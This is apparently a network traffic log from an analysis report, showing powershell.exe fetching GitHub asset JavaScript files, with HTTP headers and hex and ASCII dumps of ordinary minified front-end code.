2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 2d 6c 61 72 67 65 2c 30 2e 37 35 72 65 6d 29 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 6e 6f 2d 70 72 65 66 65 72 65 6e 63 65 29 7b 61 6e 69 6d 61 74 69 6f 6e 3a 4f 76 65 72 6c 61 79 2d 2d 6d 6f 74 69 6f 6e 2d 73 6c 69 64 65 49 6e 52 69 67 68 74 20 30 2e 32 35 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 33 2c 31 2c 30 2e 36 38 2c 31 29 20 30 73 20 31 20 6e 6f 72 6d 61 6c 20 6e 6f 6e 65 20 72 75 6e 6e 69 6e 67 3b 7d 7d 26 5b 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 2d 72 65 67 75 6c 61 72 3d 27 72 69 67 68 Data Ascii: -large,0.75rem);border-top-left-radius:0;border-bottom-left-radius:0;@media screen and (prefers-reduced-motion:no-preference){animation:Overlay--motion-slideInRight 0.25s cubic-bezier(0.33,1,0.68,1) 0s 1 normal none running;}}&[data-position-regular='righ
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 30 2e 35 29 3b 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 4f 76 65 72 6c 61 79 2d 2d 6d 6f 74 69 6f 6e 2d 73 6c 69 64 65 55 70 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 31 30 30 25 29 3b 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 4f 76 65 72 6c 61 79 2d 2d 6d 6f 74 69 6f 6e 2d 73 6c 69 64 65 49 6e 52 69 67 68 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 31 30 30 25 29 3b 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 4f 76 65 72 6c 61 79 2d 2d 6d 6f 74 69 6f 6e 2d 73 6c 69 64 65 49 6e 4c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 Data Ascii: y:0;transform:scale(0.5);}100%{opacity:1;transform:scale(1);}}@keyframes Overlay--motion-slideUp{from{transform:translateY(100%);}}@keyframes Overlay--motion-slideInRight{from{transform:translateX(-100%);}}@keyframes Overlay--motion-slideInLeft{from{trans
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 65 67 75 6c 61 72 3a 22 63 65 6e 74 65 72 22 7d 2c 6a 3d 72 2e 66 6f 72 77 61 72 64 52 65 66 28 28 65 2c 74 29 3d 3e 7b 6c 65 74 7b 74 69 74 6c 65 3a 6e 3d 22 44 69 61 6c 6f 67 22 2c 73 75 62 74 69 74 6c 65 3a 61 3d 22 22 2c 72 65 6e 64 65 72 48 65 61 64 65 72 3a 6f 2c 72 65 6e 64 65 72 42 6f 64 79 3a 69 2c 72 65 6e 64 65 72 46 6f 6f 74 65 72 3a 6c 2c 6f 6e 43 6c 6f 73 65 3a 73 2c 72 6f 6c 65 3a 63 3d 22 64 69 61 6c 6f 67 22 2c 77 69 64 74 68 3a 70 3d 22 78 6c 61 72 67 65 22 2c 68 65 69 67 68 74 3a 67 3d 22 61 75 74 6f 22 2c 66 6f 6f 74 65 72 42 75 74 74 6f 6e 73 3a 68 3d 5b 5d 2c 70 6f 73 69 74 69 6f 6e 3a 62 3d 53 2c 72 65 74 75 72 6e 46 6f 63 75 73 52 65 66 3a 5f 2c 69 6e 69 74 69 61 6c 46 6f 63 75 73 52 65 66 3a 6b 2c 73 78 3a 6a 7d 3d 65 2c 52 3d 28 Data Ascii: egular:"center"},j=r.forwardRef((e,t)=>{let{title:n="Dialog",subtitle:a="",renderHeader:o,renderBody:i,renderFooter:l,onClose:s,role:c="dialog",width:p="xlarge",height:g="auto",footerButtons:h=[],position:b=S,returnFocusRef:_,initialFocusRef:k,sx:j}=e,R=(
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 61 2d 6c 61 62 65 6c 6c 65 64 62 79 22 3a 52 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 44 69 61 6c 6f 67 4f 76 65 72 66 6c 6f 77 57 72 61 70 70 65 72 22 7d 2c 4a 29 2c 57 29 29 29 29 7d 29 3b 6a 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 44 69 61 6c 6f 67 22 3b 6c 65 74 20 52 3d 61 2e 41 79 2e 64 69 76 2e 77 69 74 68 43 6f 6e 66 69 67 28 7b 64 69 73 70 6c 61 79 4e 61 6d 65 3a 22 44 69 61 6c 6f 67 5f 5f 48 65 61 64 65 72 22 2c 63 6f 6d 70 6f 6e 65 6e 74 49 64 3a 22 73 63 2d 75 61 78 6a 73 6e 2d 32 22 7d 29 28 5b 22 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 30 20 22 2c 22 3b 70 61 64 64 69 6e 67 3a 22 2c 22 3b 7a 2d 69 6e 64 65 78 3a 31 3b 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 30 3b 22 2c 22 3b 22 5d 2c 28 30 2c 6c 2e 4a 74 29 28 22 63 6f 6c 6f 72 73 2e 62 Data Ascii: a-labelledby":R,className:"DialogOverflowWrapper"},J),W))))});j.displayName="Dialog";let R=a.Ay.div.withConfig({displayName:"Dialog__Header",componentId:"sc-uaxjsn-2"})(["box-shadow:0 1px 0 ",";padding:",";z-index:1;flex-shrink:0;",";"],(0,l.Jt)("colors.b
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 3a 6e 6f 72 6d 61 6c 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 22 5d 2c 28 30 2c 6c 2e 4a 74 29 28 22 63 6f 6c 6f 72 73 2e 66 67 2e 6d 75 74 65 64 22 29 2c 28 30 2c 6c 2e 4a 74 29 28 22 73 70 61 63 65 2e 32 22 29 29 2c 24 3d 28 7b 6f 6e 43 6c 6f 73 65 3a 65 7d 29 3d 3e 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 49 2c 7b 22 61 72 69 61 2d 6c 61 62 65 6c 22 3a 22 43 6c 6f 73 65 22 2c 6f 6e 43 6c 69 63 6b 3a 65 7d 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 67 2e 41 2c 7b 69 63 6f 6e 3a 68 2e 58 49 63 6f 6e 7d 29 29 3b 24 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 43 6c 6f 73 65 42 75 74 74 6f 6e 22 3b 6c 65 74 20 54 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 6a 2c 7b 48 65 61 64 65 72 3a 52 2c 54 69 74 6c 65 3a 4e 2c 53 75 62 74 69 74 Data Ascii: :normal;box-shadow:none;"],(0,l.Jt)("colors.fg.muted"),(0,l.Jt)("space.2")),$=({onClose:e})=>r.createElement(I,{"aria-label":"Close",onClick:e},r.createElement(g.A,{icon:h.XIcon}));$.displayName="CloseButton";let T=Object.assign(j,{Header:R,Title:N,Subtit
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 61 2d 69 6e 6c 69 6e 65 3d 27 74 72 75 65 27 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 26 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 22 2c 22 3b 22 2c 22 3b 7d 26 3a 69 73 28 62 75 74 74 6f 6e 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 30 3b 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 7d 22 2c 22 3b 22 5d 2c 65 3d 3e Data Ascii: a-inline='true']{text-decoration:underline;}&:hover{text-decoration:",";",";}&:is(button){display:inline-block;padding:0;font-size:inherit;white-space:nowrap;cursor:pointer;user-select:none;background-color:transparent;border:0;appearance:none;}",";"],e=>
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 7b 64 69 73 70 6c 61 79 4e 61 6d 65 3a 22 4f 63 74 69 63 6f 6e 22 2c 63 6f 6d 70 6f 6e 65 6e 74 49 64 3a 22 73 63 2d 39 6b 61 79 6b 39 2d 30 22 7d 29 28 5b 22 22 2c 22 22 5d 2c 28 7b 63 6f 6c 6f 72 3a 65 2c 73 78 3a 74 7d 29 3d 3e 28 30 2c 6f 2e 41 29 28 7b 73 78 3a 7b 63 6f 6c 6f 72 3a 65 2c 2e 2e 2e 74 7d 7d 29 29 7d 2c 35 33 38 39 37 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 6b 3a 28 29 3d 3e 73 7d 29 3b 76 61 72 20 72 3d 6e 28 39 36 35 34 30 29 2c 61 3d 6e 28 37 35 31 37 37 29 2c 6f 3d 6e 28 31 37 30 39 32 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 28 69 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 2e 62 69 6e 64 28 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 Data Ascii: {displayName:"Octicon",componentId:"sc-9kayk9-0"})(["",""],({color:e,sx:t})=>(0,o.A)({sx:{color:e,...t}}))},53897:(e,t,n)=>{n.d(t,{k:()=>s});var r=n(96540),a=n(75177),o=n(17092);function i(){return(i=Object.assign?Object.assign.bind():function(e){for(var
2024-09-30 13:50:39 UTC	1378	IN	Data Raw: 65 6c 6c 65 64 62 79 22 3a 75 3f 66 3a 76 6f 69 64 20 30 7d 2c 61 29 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 69 72 63 6c 65 22 2c 7b 63 78 3a 22 38 22 2c 63 79 3a 22 38 22 2c 72 3a 22 37 22 2c 73 74 72 6f 6b 65 3a 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 2c 73 74 72 6f 6b 65 4f 70 61 63 69 74 79 3a 22 30 2e 32 35 22 2c 73 74 72 6f 6b 65 57 69 64 74 68 3a 22 32 22 2c 76 65 63 74 6f 72 45 66 66 65 63 74 3a 22 6e 6f 6e 2d 73 63 61 6c 69 6e 67 2d 73 74 72 6f 6b 65 22 7d 29 2c 72 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 70 61 74 68 22 2c 7b 64 3a 22 4d 31 35 20 38 61 37 2e 30 30 32 20 37 2e 30 30 32 20 30 20 30 30 2d 37 2d 37 22 2c 73 74 72 6f 6b 65 3a 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 2c 73 74 72 6f 6b 65 57 69 64 74 68 3a 22 Data Ascii: elledby":u?f:void 0},a),r.createElement("circle",{cx:"8",cy:"8",r:"7",stroke:"currentColor",strokeOpacity:"0.25",strokeWidth:"2",vectorEffect:"non-scaling-stroke"}),r.createElement("path",{d:"M15 8a7.002 7.002 0 00-7-7",stroke:"currentColor",strokeWidth:"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49776	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:39 UTC	450	OUT	GET /assets/ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-ffb979-ed6ff1fbeca4.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:40 UTC	692	IN	HTTP/1.1 200 OK Connection: close Content-Length: 8487 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 09:26:42 GMT ETag: "0x8DCDD442ACBE863" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 13799 Date: Mon, 30 Sep 2024 13:50:40 GMT X-Served-By: cache-iad-kcgs7200063-IAD, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 49, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: a5a85e66e965aba5a61c8e3ecd421ff379691977
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 75 69 5f 70 61 63 6b 61 67 65 73 5f 72 65 61 63 74 2d 63 6f 72 65 5f 63 72 65 61 74 65 2d 62 72 6f 77 73 65 72 2d 68 69 73 74 6f 72 79 5f 74 73 2d 75 69 5f 70 61 63 6b 61 67 65 73 5f 72 65 61 63 74 2d 63 6f 72 65 5f 41 70 70 43 6f 6e 74 65 78 74 50 72 6f 76 69 64 65 72 5f 74 73 2d 66 66 62 39 37 39 22 5d 2c 7b 32 31 36 30 35 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 79 3a 28 29 3d 3e 6f 7d 29 3b 76 61 72 20 61 3d 72 28 37 34 38 34 38 29 2c 6e 3d 72 28 39 36 35 34 30 29 2c 73 3d 72 28 33 31 34 38 31 29 3b 66 75 6e 63 74 69 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-ffb979"],{21605:(e,t,r)=>{r.d(t,{y:()=>o});var a=r(74848),n=r(96540),s=r(31481);functi
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 65 74 75 72 6e 20 74 3d 65 2c 28 29 3d 3e 7b 74 3d 76 6f 69 64 20 30 7d 7d 2c 62 6c 6f 63 6b 3a 65 3d 3e 28 6e 2e 70 75 73 68 28 65 29 2c 28 29 3d 3e 7b 6e 3d 6e 2e 66 69 6c 74 65 72 28 74 3d 3e 74 21 3d 3d 65 29 7d 29 7d 7d 7d 2c 37 39 34 36 31 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 7a 3a 28 29 3d 3e 61 7d 29 3b 6c 65 74 20 61 3d 7b 22 57 6f 72 6b 65 72 73 20 6e 6f 74 20 72 65 61 64 79 22 3a 22 41 6c 6c 6f 79 20 69 73 20 77 61 72 6d 69 6e 67 20 69 74 73 20 77 6f 72 6b 65 72 73 2e 20 54 68 69 73 20 69 73 20 65 78 70 65 63 74 65 64 20 64 75 72 69 6e 67 20 64 65 70 6c 6f 79 73 20 61 6e 64 20 73 68 6f 75 6c 64 20 72 65 73 6f 6c 76 65 20 73 68 6f 72 74 6c 79 2e 22 7d 7d 2c 37 36 34 35 37 3a 28 65 2c 74 2c 72 29 3d 3e 7b 6c 65 74 20 61 3b 72 2e Data Ascii: eturn t=e,()=>{t=void 0}},block:e=>(n.push(e),()=>{n=n.filter(t=>t!==e)})}}},79461:(e,t,r)=>{r.d(t,{z:()=>a});let a={"Workers not ready":"Alloy is warming its workers. This is expected during deploys and should resolve shortly."}},76457:(e,t,r)=>{let a;r.
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 73 3a 65 2c 68 69 73 74 6f 72 79 3a 74 2c 63 68 69 6c 64 72 65 6e 3a 72 7d 29 7b 6c 65 74 20 6f 3d 28 30 2c 6e 2e 75 73 65 4d 65 6d 6f 29 28 28 29 3d 3e 28 7b 72 6f 75 74 65 73 3a 65 2c 68 69 73 74 6f 72 79 3a 74 7d 29 2c 5b 65 2c 74 5d 29 3b 72 65 74 75 72 6e 28 30 2c 61 2e 6a 73 78 29 28 73 2e 42 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 6f 2c 63 68 69 6c 64 72 65 6e 3a 72 7d 29 7d 74 72 79 7b 6f 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 28 6f 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 41 70 70 43 6f 6e 74 65 78 74 50 72 6f 76 69 64 65 72 22 29 7d 63 61 74 63 68 7b 7d 7d 2c 38 36 34 35 31 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 55 3a 28 29 3d 3e 75 7d 29 3b 76 61 72 20 61 3d 72 28 37 34 38 34 38 29 2c 6e 3d 72 28 34 37 38 33 31 29 Data Ascii: s:e,history:t,children:r}){let o=(0,n.useMemo)(()=>({routes:e,history:t}),[e,t]);return(0,a.jsx)(s.B.Provider,{value:o,children:r})}try{o.displayName\|\|(o.displayName="AppContextProvider")}catch{}},86451:(e,t,r)=>{r.d(t,{U:()=>u});var a=r(74848),n=r(47831)
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 3a 22 75 69 2d 61 70 70 2d 74 6f 61 73 74 22 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 60 75 69 2d 61 70 70 2d 74 6f 61 73 74 2d 24 7b 73 7d 60 2c 72 6f 6c 65 3a 6f 2c 63 68 69 6c 64 72 65 6e 3a 5b 28 30 2c 61 2e 6a 73 78 29 28 22 73 70 61 6e 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 22 54 6f 61 73 74 2d 69 63 6f 6e 22 2c 63 68 69 6c 64 72 65 6e 3a 72 7c 7c 64 5b 73 5d 7d 29 2c 28 30 2c 61 2e 6a 73 78 29 28 22 73 70 61 6e 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 22 54 6f 61 73 74 2d 63 6f 6e 74 65 6e 74 22 2c 63 68 69 6c 64 72 65 6e 3a 65 7d 29 5d 7d 29 7d 29 7d 29 7d 3b 74 72 79 7b 75 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 28 75 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 54 6f 61 73 74 22 29 7d 63 61 74 63 68 7b 7d 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b Data Ascii: :"ui-app-toast","data-testid":`ui-app-toast-${s}`,role:o,children:[(0,a.jsx)("span",{className:"Toast-icon",children:r\|\|d[s]}),(0,a.jsx)("span",{className:"Toast-content",children:e})]})})})};try{u.displayName\|\|(u.displayName="Toast")}catch{}function h(){
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 74 69 63 61 6c 3a 74 68 69 73 2e 70 72 6f 70 73 2e 63 72 69 74 69 63 61 6c 7d 29 7d 72 65 6e 64 65 72 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 74 61 74 65 2e 65 72 72 6f 72 3f 76 6f 69 64 20 30 3d 3d 3d 74 68 69 73 2e 70 72 6f 70 73 2e 66 61 6c 6c 62 61 63 6b 3f 28 30 2c 61 2e 6a 73 78 29 28 6e 2e 4d 2c 7b 74 79 70 65 3a 22 68 74 74 70 45 72 72 6f 72 22 7d 29 3a 74 68 69 73 2e 70 72 6f 70 73 2e 66 61 6c 6c 62 61 63 6b 3a 74 68 69 73 2e 70 72 6f 70 73 2e 63 68 69 6c 64 72 65 6e 7d 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 73 75 70 65 72 28 65 29 2c 74 68 69 73 2e 73 74 61 74 65 3d 7b 65 72 72 6f 72 3a 6e 75 6c 6c 7d 7d 7d 3b 45 72 72 6f 72 42 6f 75 6e 64 61 72 79 2e 64 65 66 61 75 6c 74 50 72 6f 70 73 3d 7b 63 72 69 74 69 63 61 6c 3a 21 31 7d 7d Data Ascii: tical:this.props.critical})}render(){return this.state.error?void 0===this.props.fallback?(0,a.jsx)(n.M,{type:"httpError"}):this.props.fallback:this.props.children}constructor(e){super(e),this.state={error:null}}};ErrorBoundary.defaultProps={critical:!1}}
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 79 64 72 61 74 65 22 2c 65 2e 43 6c 69 65 6e 74 52 65 6e 64 65 72 3d 22 43 6c 69 65 6e 74 52 65 6e 64 65 72 22 7d 28 61 7c 7c 28 61 3d 7b 7d 29 29 3b 6c 65 74 20 6c 3d 28 30 2c 73 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 29 28 22 43 6c 69 65 6e 74 52 65 6e 64 65 72 22 29 3b 66 75 6e 63 74 69 6f 6e 20 63 28 7b 77 61 73 53 65 72 76 65 72 52 65 6e 64 65 72 65 64 3a 65 2c 63 68 69 6c 64 72 65 6e 3a 74 7d 29 7b 6c 65 74 5b 72 2c 61 5d 3d 28 30 2c 73 2e 75 73 65 53 74 61 74 65 29 28 28 29 3d 3e 6f 2e 58 33 3f 22 53 65 72 76 65 72 52 65 6e 64 65 72 22 3a 65 3f 22 43 6c 69 65 6e 74 48 79 64 72 61 74 65 22 3a 22 43 6c 69 65 6e 74 52 65 6e 64 65 72 22 29 3b 72 65 74 75 72 6e 28 30 2c 69 2e 6d 29 28 28 29 3d 3e 7b 22 43 6c 69 65 6e 74 52 65 6e 64 65 72 22 21 3d 3d Data Ascii: ydrate",e.ClientRender="ClientRender"}(a\|\|(a={}));let l=(0,s.createContext)("ClientRender");function c({wasServerRendered:e,children:t}){let[r,a]=(0,s.useState)(()=>o.X3?"ServerRender":e?"ClientHydrate":"ClientRender");return(0,i.m)(()=>{"ClientRender"!==
2024-09-30 13:50:40 UTC	219	IN	Data Raw: 63 61 74 63 68 7b 7d 74 72 79 7b 75 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 28 75 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 22 54 6f 61 73 74 43 6f 6e 74 65 78 74 50 72 6f 76 69 64 65 72 22 29 7d 63 61 74 63 68 7b 7d 7d 7d 5d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 75 69 5f 70 61 63 6b 61 67 65 73 5f 72 65 61 63 74 2d 63 6f 72 65 5f 63 72 65 61 74 65 2d 62 72 6f 77 73 65 72 2d 68 69 73 74 6f 72 79 5f 74 73 2d 75 69 5f 70 61 63 6b 61 67 65 73 5f 72 65 61 63 74 2d 63 6f 72 65 5f 41 70 70 43 6f 6e 74 65 78 74 50 72 6f 76 69 64 65 72 5f 74 73 2d 66 66 62 39 37 39 2d 62 61 33 38 30 31 36 61 34 31 61 66 2e 6a 73 2e 6d 61 70 Data Ascii: catch{}try{u.displayName\|\|(u.displayName="ToastContextProvider")}catch{}}}]);//# sourceMappingURL=ui_packages_react-core_create-browser-history_ts-ui_packages_react-core_AppContextProvider_ts-ffb979-ba38016a41af.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49777	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:39 UTC	375	OUT	GET /assets/keyboard-shortcuts-dialog-3d3b90edc171.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:40 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 29595 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 14:12:47 GMT ETag: "0x8DCDD6C21C6219B" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 237137 Date: Mon, 30 Sep 2024 13:50:40 GMT X-Served-By: cache-iad-kjyo7100026-IAD, cache-ewr-kewr1740065-EWR X-Cache: HIT, HIT X-Cache-Hits: 14, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 03590713186076673a05921d56912548cbaee2b9
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6b 65 79 62 6f 61 72 64 2d 73 68 6f 72 74 63 75 74 73 2d 64 69 61 6c 6f 67 22 5d 2c 7b 31 32 34 38 30 3a 28 65 2c 74 2c 69 29 3d 3e 7b 69 2e 64 28 74 2c 7b 55 30 3a 28 29 3d 3e 73 7d 29 3b 76 61 72 20 6e 3d 69 28 39 37 31 35 36 29 3b 6c 65 74 20 72 3d 7b 41 6e 64 72 6f 69 64 3a 22 41 6e 64 72 6f 69 64 22 2c 69 4f 53 3a 22 69 4f 53 22 2c 6d 61 63 4f 53 3a 22 6d 61 63 4f 53 22 2c 57 69 6e 64 6f 77 73 3a 22 57 69 6e 64 6f 77 73 22 2c 4c 69 6e 75 78 3a 22 4c 69 6e 75 78 22 2c 55 6e 6b 6e 6f 77 6e 3a 22 55 6e 6b 6e 6f 77 6e 22 7d 3b 66 75 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["keyboard-shortcuts-dialog"],{12480:(e,t,i)=>{i.d(t,{U0:()=>s});var n=i(97156);let r={Android:"Android",iOS:"iOS",macOS:"macOS",Windows:"Windows",Linux:"Linux",Unknown:"Unknown"};fu
2024-09-30 13:50:40 UTC	1378	IN	Data Raw: 6c 7c 4d 6f 64 7c 45 73 63 2f 2e 74 65 73 74 28 65 29 7c 7c 65 2e 69 6e 63 6c 75 64 65 73 28 22 41 6c 74 22 29 26 26 65 2e 69 6e 63 6c 75 64 65 73 28 22 53 68 69 66 74 22 29 2c 61 3d 6e 65 77 20 53 65 74 28 5b 22 62 75 74 74 6f 6e 22 2c 22 63 68 65 63 6b 62 6f 78 22 2c 22 63 6f 6c 6f 72 22 2c 22 66 69 6c 65 22 2c 22 68 69 64 64 65 6e 22 2c 22 69 6d 61 67 65 22 2c 22 72 61 64 69 6f 22 2c 22 72 61 6e 67 65 22 2c 22 72 65 73 65 74 22 2c 22 73 75 62 6d 69 74 22 5d 29 2c 6f 3d 65 3d 3e 7b 6c 65 74 20 74 3d 28 30 2c 6e 2e 56 79 29 28 65 29 2c 69 3d 72 28 29 26 26 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 29 29 72 65 74 75 72 6e 21 31 3b 6c 65 74 20 74 3d 65 2e 6e 6f 64 65 4e 61 Data Ascii: l\|Mod\|Esc/.test(e)\|\|e.includes("Alt")&&e.includes("Shift"),a=new Set(["button","checkbox","color","file","hidden","image","radio","range","reset","submit"]),o=e=>{let t=(0,n.Vy)(e),i=r()&&!function(e){if(!(e instanceof HTMLElement))return!1;let t=e.nodeNa
